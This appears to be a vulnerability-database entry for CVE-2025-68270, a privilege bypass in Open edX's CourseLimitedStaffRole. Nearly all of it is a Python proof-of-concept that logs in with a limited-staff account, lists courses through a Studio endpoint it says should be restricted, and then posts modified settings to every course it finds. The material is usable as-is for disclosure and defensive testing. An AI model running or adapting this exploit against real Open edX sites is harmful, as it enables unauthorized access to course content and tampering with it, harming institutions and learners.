Open edX Platform CourseLimitedStaffRole权限绕过漏洞 (CVE-2025-68270)

import requests # CVE-2025-68270 PoC - Open edX Platform CourseLimitedStaffRole Privilege Bypass # This PoC demonstrates unauthorized access to Studio endpoints TARGET_HOST = "https://vulnerable-openedx.example.com" # Attacker needs an account with CourseLimitedStaffRole at organization level USERNAME = "[email protected]" PASSWORD = "password123" ORGANIZATION_ID = "org_123" COURSE_ID = "course-v1:TestOrg+TEST101+2025" def login(): """Authenticate and obtain session token""" session = requests.Session() login_url = f"{TARGET_HOST}/login" data = { "email": USERNAME, "password": PASSWORD, "next": "/dashboard" } response = session.post(login_url, data=data) return session if response.status_code == 200 else None def list_courses(session): """List courses (unauthorized access)""" # This endpoint should be restricted but is accessible list_url = f"{TARGET_HOST}/api/course_studio/v1/courses" headers = {"Organization": ORGANIZATION_ID} response = session.get(list_url, headers=headers) print(f"List courses response: {response.status_code}") return response.json() def edit_course(session, course_id): """Edit course content (unauthorized access)""" edit_url = f"{TARGET_HOST}/course/{course_id}/settings/details" payload = { "course_name": "Modified by unauthorized user", "course_about": "This course was modified via privilege bypass" } response = session.post(edit_url, data=payload) print(f"Edit course response: {response.status_code}") return response.status_code == 200 def main(): session = login() if not session: print("Login failed") return # Exploit: List courses user shouldn't have access to courses = list_courses(session) print(f"Accessible courses: {courses}") # Exploit: Modify course content if courses: for course in courses: edit_course(session, course.get("id", COURSE_ID)) if __name__ == "__main__": main()